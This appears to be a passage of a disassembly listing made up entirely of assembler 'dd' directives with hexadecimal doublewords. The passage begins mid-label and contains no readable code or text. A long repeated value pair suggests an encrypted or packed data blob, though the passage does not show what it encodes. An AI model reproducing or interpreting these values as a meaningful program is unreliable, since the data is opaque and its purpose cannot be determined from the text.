4CE70548h dd 68C6538Fh, 0E591782Bh, 25725EDBh, 0F17BB68Eh, 0D9AB1B0Bh dd 0EF33EE71h, 5BFB7F5Fh, 3E811F68h, 0A7DEB583h, 194C6588h dd 1670E5BFh, 1FABF7FAh, 90F0A6BCh, 23B3DF04h, 0A8C3C3B4h dd 97A6D382h, 726DCAD4h, 0D11C95A3h, 0A38C9A95h, 8F045EABh dd 2C1F0F16h, 4164EAB8h, 34018F11h, 51756266h, 28D24B5h dd 0CA1C15CCh, 0F8FDB79Ch, 6C223B9Bh, 0B53EE207h, 53EB128Bh dd 2D933F66h, 0BF764373h, 0CCDE3A1Ch, 373900B7h, 76130597h dd 1BAEABCEh, 0FE2C2C5Eh, 0BBEF6667h, 0D20246A5h, 142B44ACh dd 81173EC8h, 7FC2A951h, 2EE0862Eh, 0D874050Bh, 0DEC83B92h dd 0BA208445h, 0F5F4948Fh, 915FA8FDh, 5FAA3E9Dh, 910BA77Bh dd 0EA244F2Eh, 8FCA3E38h, 9EBC71D2h, 0ABF617DEh, 0AF4C99D9h dd 41C92579h, 70EC646Bh, 25EFBD60h, 8AA27082h, 279BE969h dd 3B704551h, 0FBCB4A4Bh, 252A966Fh, 3FDFBFD6h, 0C0969DB2h dd 0D48CDC79h, 6F26ABB7h, 16C029Ah, 0BC8AA763h, 150D7A36h dd 0C4EAC0Fh, 0CD015F06h, 67CD064Bh, 0C0ED2E0Bh, 2041161Ch dd 0C40A37C7h, 79B160D2h, 0CE95F7EDh, 0FCBDD29Ah, 0AE09BCBh dd 3B6B80C1h, 5825D3A1h, 31BF8D50h, 0ADFB8435h, 0D2472658h dd 5CE9EC1Dh, 6A10226Ah, 0CE4D81B3h, 0EB60F0C2h, 0C25B62FFh dd 8E23728Ah, 6C223B9Bh, 0B53EE207h, 5F56A16Ch, 0C573C262h dd 2D6457C5h, 0AA3B69E5h, 7E8F9F74h, 60AE57Fh, 0CEB35C9Dh dd 52BF1A35h, 0CDAD6F56h, 89A7FBB2h, 0E6EEEC8h, 2C58CEEh dd 1770484Bh, 0CA9C7F9Eh, 7E93D12Ah, 0A36A145Eh, 0D55BF244h dd 8BB94EDAh, 0A56C6C76h, 0BF10DA48h, 1BC02CCEh, 45CABF1Ch dd 34ED5769h, 4EAD917Ah, 7EAAE4B2h, 1C7EE7A5h, 0F24794C3h dd 0A23D187Eh, 0CED6D8E4h, 6F584727h, 27C85E67h, 110BC439h dd 437DA091h, 0A40A80D6h, 853A61F6h, 0B8498A84h, 7131E982h dd 0F389C4E2h, 2EF11CC3h, 1F9E1D5Ch, 44D14E5Bh, 863AA0CBh dd 5D1BA5ACh, 3997362Ch, 0B4FF1627h, 97B49B0Dh, 1F1DD8BDh dd 0B3ACEDB3h, 6F2C7843h, 8B11297Ah, 0D16BB0B6h, 0D3FF3D48h dd 0BF31B3h, 0B927C300h, 0E5D0B697h, 21FD2475h, 9103AA10h dd 49314BF0h, 5193FE8Fh, 0BC540EB6h, 3A36C2CFh, 0C6855734h dd 6032DF02h, 7AE466Dh, 0A481F2D9h, 344BD5FCh, 8E148786h dd 4F64D8B8h, 8D42D8B4h, 7C403AD4h, 68B4B6B6h, 4162853Dh dd 0FF09DEB1h, 0C432DBD1h, 7AB75C21h, 0FE038535h, 0C9320229h dd 0B9F40C27h, 0F2FC4D9Dh, 1ED26572h, 0DF177748h, 2EB30988h dd 5657202Fh, 0E7EB7B83h, 0B02DE0D4h, 0A4283CD4h, 0AACEB96h dd 13CA24F8h, 8E3F91A1h, 0D1BDC2BCh, 0DAD191CFh, 352098F8h dd 0D20CA268h, 79F45169h, 0F50BCF66h, 31124114h, 68B4B6B6h dd 4162853Dh, 23850F3Fh, 648381AFh, 5A9EF1B6h, 9A97314Ch dd 9BB77956h, 0DA1D5C20h, 88421861h, 95D676BEh, 0BF31DE6Ch dd 6C596164h, 0EE12FEF5h, 96074EDFh, 0E4AD521Eh, 88F42396h dd 0C0A3611Ch, 0E6036AC7h, 6728EABAh, 0EC243BA6h, 0C4970908h dd 113E410Fh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 5C5AB97Fh dd 0B29482AFh, 0A43543AAh, 0D9C75DF9h, 55642969h, 0FB175DEh dd 48940AAEh, 5738AB5h, 303D26E1h, 706C33Eh, 9B4A44F7h dd 0E25CD246h, 0AD3DF3EEh, 0F3C0F15h, 0A4F14B52h, 9B6E3FDh dd 56271D2Fh, 0B95A315Ah, 0FADFEC9Bh, 1EC7ACA4h, 88E054AFh dd 915B6E55h, 0DBA88D3Bh, 7C3123DCh, 8513AA74h, 0A34DA79Fh dd 0E511C940h, 3684C6BEh, 1B5DBC10h, 72C3B11Fh, 6DF36A3Bh dd 954D7C48h, 86133FFh, 0B8F2F4C9h, 0C03F3923h, 2B2F468h dd 0EBA84E1Eh, 0E244B63Fh, 6B6ECDEDh, 2464C8DCh, 43DBB2D5h dd 35E5234Bh, 59C57843h, 0C67CCF11h, 4061F3C7h, 454890D1h dd 1D5645E4h, 0D6BC6389h, 0DC72B5CCh, 0EE5D2C5Dh, 7A12C788h dd 0B7B4C1E2h, 4C2075C8h, 566799F0h, 6F4E1D93h, 9658BC7Dh dd 4592EE24h, 718FDDDAh, 0DBDCD285h, 0B5B954ECh, 507D3817h dd 6DD3BFB3h, 17E3956Fh, 0F3DCF587h, 24CA348Ah, 0FB132055h dd 4BDAC6C7h, 67C80E8Ch, 35694631h, 45478625h, 0AB0F0322h dd 0E58AB0D6h, 1790DA6Fh, 3ABB44A2h, 39F5886h, 40FDE1C7h dd 0D20A46A2h, 744B7892h, 0DAD29296h, 9D7271EEh, 0FCAB47EEh dd 6739CFCAh, 0CD510F9Bh, 64D3AB51h, 0D7CCE825h, 0B8AF5C4Dh dd 6DF94FE3h, 202AAB99h, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 5C5AB97Fh, 0B29482AFh, 0A43543AAh, 0D9C75DF9h dd 55642969h, 0FB175DEh, 48940AAEh, 5738AB5h, 303D26E1h dd 706C33Eh, 9B4A44F7h, 0E25CD246h, 0AD3DF3EEh, 0F3C0F15h dd 0A4F14B52h, 9B6E3FDh, 56271D2Fh, 0B95A315Ah, 0FADFEC9Bh dd 1EC7ACA4h, 88E054AFh, 915B6E55h, 0DBA88D3Bh, 7C3123DCh dd 8513AA74h, 0A34DA79Fh, 0E511C940h, 3684C6BEh, 1B5DBC10h dd 72C3B11Fh, 6DF36A3Bh, 954D7C48h, 86133FFh, 0B8F2F4C9h dd 0C03F3923h, 2B2F468h dd 0D762967Fh, 8A3AE95h, 0D4A28831h, 0B937706h, 0F9FDE4A7h dd 823626FBh, 0DE43219Eh, 687EF22Ah, 3B8DE3DEh, 2E271DFCh dd 5D7D6697h, 44C9DCCAh, 0D35FA090h, 95D20D21h, 0FD4985E9h dd 3047D62Bh, 91C948A3h, 0ADC868Eh, 2EB1E068h, 294AD228h dd 3F487251h, 0AF7798Fh, 7A54316h, 57E589A1h, 0A9DE8EDAh dd 0A6D9053Dh, 45B43235h, 9478C26Bh, 7577876Eh, 8865C36Bh dd 0CBA12F51h, 338FF4ADh, 14F051FFh, 0D9E3AAEDh, 66D88B16h dd 5FF2AF97h, 0C3716045h, 70798C6Ch, 93C9A2D8h, 9C997984h dd 87F4DFEBh, 864A52FBh, 39E806C7h, 9ECDB32Fh, 44A7E2F0h dd 0CAFBE230h, 6657CD69h, 7B3EE73Dh, 200C2629h, 0FA740352h dd 0D0860464h, 70855F93h, 0BF15914Ah, 0FDA9269Ch, 0C22A258Ch dd 57BBAEB1h, 0DDB5749Bh, 0D123907Ah, 0EDF5123Bh, 0E4126BF3h dd 0C43D84BAh, 130F1D2Bh, 45376BB7h, 0F80CDD51h, 0FB3AE0B8h dd 68B466Dh, 3ABAC873h, 70EE08CAh, 66D00300h, 0DF5DBD3Eh dd 0CABDD542h, 24B22DD6h, 73B0E4F5h, 902110A6h, 91027FF1h dd 2EE0BECh, 0A800EADBh, 2D14B76Fh, 942C5DAEh, 98477E8Dh dd 6F701E5Bh, 13CA8A99h, 0E9ADC5AAh, 2AEB46CAh, 33DAFF74h dd 970B68F4h, 0B51E201Fh, 0CBFC0E31h, 0E11FCBA2h, 5329EB64h dd 0F21784D6h, 0A7422B4Ah, 0B8EAB404h, 0D41F5E88h, 6D8B2EC8h dd 457D5125h, 43CAD358h, 0B24A3F9h, 0F2E147C9h, 0BD346D67h dd 6CA8A7AAh, 0C210C44h, 0AF773548h, 11EC21B2h, 4E6C3E6Bh dd 75356106h, 3559E59Ch, 0B1E70F6Dh, 0A6743A3Fh, 8ADC06CDh dd 9FE14463h, 7DD13721h, 5FD80196h, 67439D50h, 401E92Bh dd 281C6AFh, 4AE085E5h, 3C6A4834h, 250B3202h, 0AE917593h dd 0E70E2689h, 3A9440Fh, 0AE7D3AF5h, 15E09B27h, 0AF773548h dd 11EC21B2h, 0DE313C57h, 0B9B9678h, 9C742088h, 0BFF4EC55h dd 0A1485FA9h, 4D58E91h, 0FCC08E3h, 1E01CEB6h, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 9BAEB7EFh, 18E27F32h, 168049D3h, 4A600869h dd 0C19D0470h, 0C8993CEEh, 0C569234Fh, 1CCF9092h, 3EC4A978h dd 0C7475E16h, 924A3878h, 0D5F8BC93h, 0E2C35D90h, 0DD3ABB47h dd 63C6F1B2h, 4B51E58Dh, 7271B11Ah, 92FA0B1Bh, 0CFFC5032h dd 0E686BEB0h, 99CC7341h, 96A01DB1h, 9B9BB438h, 0B300E515h dd 0F107EE7Eh, 4DA0AC53h, 0DFAF6FB5h, 23F99E44h, 80EC4AEh dd 0B9394AA5h, 2D8ED99Ah, 0E4A0894Ah, 0A4F68666h, 0C8B844ECh dd 0F2762CFAh, 27B6E0BAh, 2499779h, 35C9BA0Dh, 0BC48BD28h dd 1C151332h, 0E3CDE38Ch, 0CF17E0A3h, 8F843519h, 0D592AC87h dd 760C8EC1h, 0BA2B99C6h, 0EEACBCC6h, 0B61DCFFBh, 0F4C8FB1Dh dd 0C741E47Dh, 12806B1Eh, 0D968F2ABh, 51C9A68h, 55CAA0ECh dd 0F4C8FB1Dh, 0C741E47Dh, 0D142217h, 3D6D796Bh, 0FFDBAC99h dd 630F7D5Eh, 0E2F10DC6h, 680506A4h, 172A5BF3h, 54E1A787h dd 9BE48E85h, 8529559Ch, 4E88EE80h, 5A629BC6h, 45607C0h dd 47702499h, 773BF82Eh, 77B18832h, 0B608BF7Ch, 8660C32Fh dd 2499779h, 35C9BA0Dh, 0A78E7DB4h, 0CAEC85EBh, 0E95E1756h dd 0CC411EE8h, 0F0D169B5h, 0E5708FA9h, 0CE2D1D3Eh, 0BCA71B52h dd 0A0330463h, 85FB410h, 97F12B87h, 22FB59A1h, 281F55CFh dd 96BE60FBh, 0B1657B08h, 3896516h, 64A27F80h, 0B95362F3h dd 98C65995h, 892182C5h, 2010EDF1h, 80672031h, 6EBFA6A1h dd 24EFEB98h, 0ECA6ED37h, 24D16341h, 87B2618h, 9197D7CDh dd 9309DCh, 72085C09h, 376E6723h, 2E32D1Ch, 0F8A6D40Bh dd 6B4B5068h, 0F1D6AF54h, 20C1B0CCh, 7A37161Eh, 41568AE9h dd 5B285DB2h, 426D4B50h, 45347D5Eh, 57C2ABEEh, 4C117B59h dd 21334E35h, 0A828F246h, 40E228F4h, 859D2CEEh, 0D82902B9h dd 0CBE9E4Dh, 0B95C1B45h, 0B905F6A1h, 0FF8E274h, 0D07EA151h dd 4972A9BCh, 0CE0D9935h, 65C74B8Ch, 6F3A69A7h, 60773ADh dd 26499915h, 2A44714h, 233544D4h, 0D3610641h, 65E3E22Bh dd 461046D1h, 29C98E0Eh, 0D6C6C3BDh, 4396004h, 8EFC19D3h dd 558E42D8h, 2193AAFCh, 4D029940h, 24590BA0h, 0AF34FB45h dd 8E07B0F7h, 66D8CB28h, 21E12BFBh, 732FF153h, 90162E2Ah dd 98786E98h, 55282A1Dh, 0F196A220h, 5E8DA2C2h, 3D5B0B24h dd 4F3C8532h, 38807BE2h, 3063E4B0h, 0E8BF6E23h, 0D785DAD4h dd 54665104h, 183AD2E3h, 411C3A0Ah, 1B550F2Ah, 55637A91h dd 0D3BA7424h, 7CD30D20h, 0A15295D5h, 8A945BC5h, 10FC5C06h dd 699D3642h, 0B40F9897h, 0F983AFE9h, 7EFE2170h, 55B73474h dd 69D28008h, 71DE752Dh, 5AAA31FDh, 276A6DFAh, 2D71BA2Ah dd 749461B3h, 506588D2h, 0D3AAE7CCh, 85F93BC3h, 6BE30272h dd 500F7BECh, 0E67B83A7h, 9C9E5D9Ah, 7B1AE9C2h, 896F0B7Ch dd 0BD43741h, 62B0A6A9h, 0CD7AD8B2h, 0CC9764CBh, 0EC11DBD4h dd 959A784Ch, 69C54483h, 0A0F56756h, 33F5E649h, 3D301681h dd 0C0F33036h, 0E82ECD45h, 58C35F67h, 0D6B4D13Fh, 9F6946FFh dd 21E78C5Eh, 171167BBh, 3424E968h, 5B8AD58Ah, 76122FE4h dd 8FDEB439h, 9892398Bh, 0F4E33F99h, 0C75EB7F6h, 0C67715F0h dd 89641CB3h, 0F6508282h, 63D20CF5h, 2D9CADEEh, 91FE5E96h dd 0D47479ADh, 0F5896869h, 1FEBCECh, 52C69F95h, 0E9B88837h dd 33D53DB7h, 0BFDB3CA8h, 60499535h, 0CEC88BAAh, 5692092h dd 5A3438F5h, 493C993Bh, 0EE4880CBh, 0B8327091h, 0E97E19B4h dd 98F14758h, 0CDAE39B8h, 98D37C54h, 0F69AC3FAh, 0CB66DBCEh dd 4904701Ah, 7B75D131h, 1F95113Fh, 0E48AD143h, 0FD3C5BD6h dd 0F04B7DE4h, 91589C76h, 0F7B46C8Ah, 39B5ED3Eh, 0FF9F706Fh dd 148D50E9h, 0B60D1DFAh dd 1BFF9A40h, 93E2FA5Ah, 10A5305h, 2D871E30h, 78B4157Fh dd 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 1B69AC19h, 5D216AB3h dd 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h dd 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h dd 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh dd 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h dd 0D60526FFh, 0F99420B2h, 2826FE5Eh, 8576560Bh, 0F89DE8AFh dd 6FCF6159h, 38807BE2h, 3063E4B0h, 0FE8F4FF6h, 498ECD92h dd 0DB94698Eh, 26E0EBDAh, 75902393h, 0CCB0DA93h, 0C22D787Ah dd 0FC939804h, 699D3642h, 0B40F9897h, 0EB81D889h, 651D7C72h dd 82491F6Ah, 0E56B394Ch, 657A8D9Fh, 23514FAEh, 19D9C1A3h dd 218D332Eh, 87295538h, 0FFA68312h, 24211Ch, 0DCE9DF4Eh dd 0EF6B8ED5h, 0D74B6046h, 0FAC5AAA4h, 0A2E32F2h, 10431FFDh dd 0E41DFAE6h, 10A5305h, 2D871E30h, 6A035340h, 55B9AD99h dd 0D3801B6Fh, 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h dd 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h dd 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh dd 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h dd 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh dd 91FE5E96h, 3F32705Ch, 7696F17Ah, 3D5B0B24h, 4F3C8532h dd 38807BE2h, 3063E4B0h, 7EA53E3Ch, 0B56C02ADh, 8DA09857h dd 335BD7DBh, 7CD30D20h, 0A15295D5h, 8A945BC5h, 10FC5C06h dd 699D3642h, 0B40F9897h, 0C7E5FADAh, 60ECD124h, 0F13798C8h dd 6A5BBEEBh, 3FC1557Fh, 0F811B513h, 0DB83AAFEh, 0EE9F50DFh dd 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh, 42C45CA7h dd 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h, 820B3D0Bh dd 10A5305h, 2D871E30h, 78B4157Fh, 7AFC18EDh, 0D3801B6Fh dd 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah dd 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h, 0BF3FC63Bh dd 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh, 4456BCCCh dd 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h, 0BF6FABB4h dd 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh, 91FE5E96h dd 3F32705Ch, 7696F17Ah, 9D537AFh, 0A540BB00h, 0AA4B9895h dd 0FD483753h, 0D27B7602h, 11354A8Ch, 0C5417184h, 0B1F277C6h dd 0FC75BF79h, 919FA174h, 0E8A5D8A6h, 7006972Fh, 9603BCDBh dd 78091726h, 69C09F26h, 248E35AAh, 0F59C0EB6h, 9F1E34ADh dd 0DDF9F688h, 0A1C2CB7h, 0BEED1994h, 0B01688F6h, 53AFF942h dd 6B33BBB3h, 0F6752D02h, 8A355DE2h, 8E8F1714h, 83201E1h dd 18A7AC9Ch, 9B4E4AD0h, 3965D936h, 425ADC73h, 216D5085h dd 51F43E81h, 363CBFBBh, 47170056h, 7CF0519Dh, 0CE1D4E7Fh dd 8A4410D4h, 0D7429340h, 4161A54Fh, 345E1A19h, 8EA5FC09h dd 9192350h, 70461998h, 0A13C631Bh, 37BA794Eh, 0D7874C82h dd 0C2D69D5Fh, 3C76D6F6h, 0AA6040B4h, 1EF8926Fh, 8B897097h dd 59B6E253h, 0C36D261h, 367E82A0h, 3BFCE79Ch, 452C7A49h dd 22C3B0CEh, 7122F189h, 0AA4559FFh, 6A4AE1B1h, 4811EA42h dd 10D6DCBAh, 9F81B6C0h, 0B53DB4BBh, 8B981433h, 92951379h dd 85E86E25h, 0E14288CBh, 4E7F79CEh, 0EF0FE41h, 1E3C58AEh dd 0E9EB868Dh, 0EA1E5E6Fh, 0FF073E87h, 9940B516h, 0CE50836Eh dd 3D5816B5h, 0BC9087E2h, 99DE3565h, 0ED6CE54h, 17ED8291h dd 0D6127EB2h, 97F20A03h, 90537612h, 0A79074ECh, 0D1ED0DB3h dd 2192ECB3h, 40058F81h, 0E5A41D85h, 86FE34A4h, 0D0736ADCh dd 0A84A8777h, 5BABE427h, 0FE5678A7h, 9D497F64h, 1E45D6F6h dd 8A5D0984h, 17A0CF74h, 988AEC9Eh, 0A6FE45FBh, 0CB0C7B19h dd 5EAD6B40h, 0FF663A13h, 389FE3B9h, 968F8806h, 422C38EAh dd 869EFD1Eh, 872F0D2Fh, 0AA80F3E9h, 0A2F438E4h, 3D45C54h dd 4E62B04h, 3B9D20B7h, 0E3918E15h, 7D704D09h, 7726FEAh dd 0E59697BAh, 7B10DE05h, 0FB9AA4DFh, 0A2A0595Fh, 381F47Ah dd 2CE7A644h, 2C203812h, 0ECD21EE9h, 0E0F9E46Ah, 0D3B4BD8Dh dd 0A9E1F955h, 533F91BEh, 0E6687F09h, 701AFF92h, 814A66Bh dd 874439FFh, 0A8513D9Dh, 41ACBFCAh, 19C1B170h, 5DD0AEBBh dd 6264AC51h, 1DC6ED12h, 7D7D5706h, 0B687C73Dh, 98FF14Eh dd 0F3E5FB4Ch, 0C94FE29Bh, 21EF9EB5h, 0EC1C31FCh, 0D7C352D2h dd 526BF5F9h, 94AB9FF9h, 9176D1B3h, 403DD5Fh, 0FA98D2B9h dd 0E224007Bh, 5122117Ch, 401BFD6Dh, 0C914A78Eh, 9FCC92A9h dd 2792DE3Ah, 0EDAAA153h, 0CCC03E1Bh, 0F892E02h, 5CB27DBEh dd 0F4C14272h, 0C4CF89A3h, 8A194762h, 7F604B17h, 85053287h dd 898ADDFCh, 782AA395h, 0D602C10Fh, 9C52AB2Fh, 0D214668Fh dd 893E36B4h, 80FB13FEh, 1837309Eh, 5BEBE279h, 223CC663h dd 0A8F8EDF4h, 67CAB6A6h, 825E7453h, 0DA9D6CF6h, 5AC746Fh dd 0E0551141h, 55743427h, 0DECF0351h, 9C603A49h, 0A739CB12h dd 0D3E8F44Fh, 0BEF1342Fh, 0E7BA91A1h, 11230C96h, 1CA55A22h dd 177FE90Eh, 6C1654FEh, 0FD6A328Ch, 59A8CFD4h, 1F27B0B6h dd 0E96F861Ch, 8E89F602h, 0D3A1217Eh, 0C123C2E9h, 0D294AEDAh dd 9B0ABB61h, 0D1B65C30h, 9F3FA886h, 753A160h, 0E95734D5h dd 0EAEDD14Bh, 7852BF62h, 9B5C1EA9h, 93627825h, 0E22A4B1Bh dd 4CD7A849h, 65919827h, 17B7763Fh, 70B51849h, 25D7D899h dd 6A44DC3Fh, 0B2BD323Ah, 0CEA10D63h, 0B2D79FBAh, 0D50E6E09h dd 9D765FBBh, 0A9F3969Ah, 0E56AA762h, 3EA606FFh, 0CF283BB0h dd 5EAFD473h, 0FEB48312h, 93157FBBh, 6F30E859h, 0C8082A3Bh dd 9A3FE008h, 78111h, 9A4B2090h, 90314EF1h, 39D8063Dh dd 1FBB5F6h, 0FE9849E1h, 0D9BF49CAh, 0F41ED3A4h, 52349D58h dd 2BEB6B6Dh, 0F619C05Bh, 0DCDD228Ah, 8A94CCE5h, 915F0838h dd 0FE71C811h, 608AB73h, 5F553108h, 0D77EFF69h, 0D3899259h dd 82804B2Dh, 0D0F6BD70h, 1C292AB1h, 0FD1A1505h, 79687FBBh dd 14ED2BE5h, 53A545C0h, 935E0F30h, 49D3DF9Ah, 0F698CA8Eh dd 466AD6E6h, 0E42207C3h, 545E1609h, 6C1B82C3h, 523A35Dh dd 7D5F1DAAh, 96F0280Dh, 6650962Dh, 175A95ADh, 9C661112h dd 0A1C6BB23h, 13A64153h, 0F80AD292h, 1058887Fh, 1B98D72Ch dd 618B787Dh, 0E4C43014h, 0EDF24ED3h, 25D33FCEh, 6695AE66h dd 2E810578h, 3EF5A3C2h, 0A68F4CAAh, 0CCBF163Eh, 0FA16F66Eh dd 1240E574h, 0CF49F9C7h, 57610D5Dh, 0C6104A26h, 29F4D980h dd 7F28F959h, 8861D88Ch, 0B4AFB74Dh, 0B0D3458Ch, 0D0192FEFh dd 0D8F05CA7h, 5C202569h, 25CF02D1h, 0AA71D330h, 9EF358D9h dd 0D5D8C8C7h, 358C9E1Eh, 59AA2361h, 699CD804h, 6D212E18h dd 0C806EA05h, 0B9B4F4FFh, 83900D0Bh, 0E00538B3h, 0DC0AB085h dd 517E45F5h, 0A122D4CBh, 934854D3h, 87C97B95h, 6652885Fh dd 193CC930h, 0D9C5B0A1h, 69529C1Ch, 1235DA6Bh, 7C4488E3h dd 0A71A2DACh, 89878714h, 10E3C442h, 70A15B9Fh, 0A10DB19Ah dd 6647BD84h, 0F0E7D7ECh, 7E732350h, 262EDEF6h, 823EED6Eh dd 7B03C5ACh, 750B1B5h, 0C818BC39h, 7269EE7Bh, 4C499C75h dd 0CA31E113h, 0DE9C4EDCh, 2F2EF25Ah, 472CC77h, 2B772D7Dh dd 0FB18DD7Dh, 6291DA92h, 0A97D6A82h, 0DC8A51AFh, 2684E6E7h dd 9F9380E0h, 6CDAB549h dd 21056636h, 52B57DE1h, 0C2FEFEBBh, 7D69D750h, 16FCEF03h dd 4CD87EBh, 1FED462Ah, 2AD5C583h, 0C65FD4B6h, 1171C841h dd 9F38E0C5h, 0C2DE700Bh, 318EF01Ch, 9D04260h, 15449803h dd 4F9694A9h, 66805F6h, 960BE42Fh, 0BAE0329Ah, 0BE8BFB6h dd 19BE8EA9h, 122842C1h, 0A79659A4h, 7A5E9AFDh, 6A932BFh dd 529E2E8Eh, 0CB391FABh, 0F741A607h, 0D9B931F2h, 0BEFD0167h dd 0B6FA32B7h, 77E796E1h, 0C96ACD78h, 7087605Bh, 5D139E76h dd 0B37CA1BFh, 0E0F7B7F8h, 5AA6B4CAh, 0FAF2B0A8h, 73138321h dd 977D3630h, 0E8E56B61h, 305D67D1h, 8193C671h, 39B2741Eh dd 0E4BAEF7Eh, 1AC43E83h, 4FFBDEBh, 0C061A14h, 0FF832621h dd 4D5C47C8h, 0C2F664C8h, 3F10E14Fh, 605FDD83h, 77324FC2h dd 0C11D9082h, 0DF369692h, 18E6AD2Eh, 0C6507E67h, 70BF1569h dd 0FA4E40E1h, 374BB49Bh, 0BF5084CEh, 14E8FC59h, 7312104Dh dd 54BBCDD4h, 0A2A22335h, 0E4342132h, 62153D35h, 6E4FF928h dd 5458D636h, 833C5B48h, 0FEF83CC1h, 2597CFCBh, 0C7C84C60h dd 0E858332Dh, 0BDA7CB15h, 939C4DF8h, 0ACA5D2BBh, 8004321h dd 7B9C0623h, 5BCD3522h, 7E9E1C17h, 0CFD8F455h, 0C4007BD5h dd 0DC405860h, 92E1CCEBh, 26C3720Fh, 0AC2884CEh, 0D37E6F08h dd 6363FD38h, 0FD3AD2AAh, 750E959Bh, 691691E8h, 5CEDF19Ch dd 8D83CFD4h, 37C6EB83h, 0D624364Dh, 0F03B1434h, 0EC66006Ch dd 0E8F53B15h, 9FFB2BB8h, 85E79163h, 0F98595F7h, 1A6F799Dh dd 0CA2FB4A3h, 2254CDA8h, 7B69D97Dh, 622A16CCh, 88955D4h 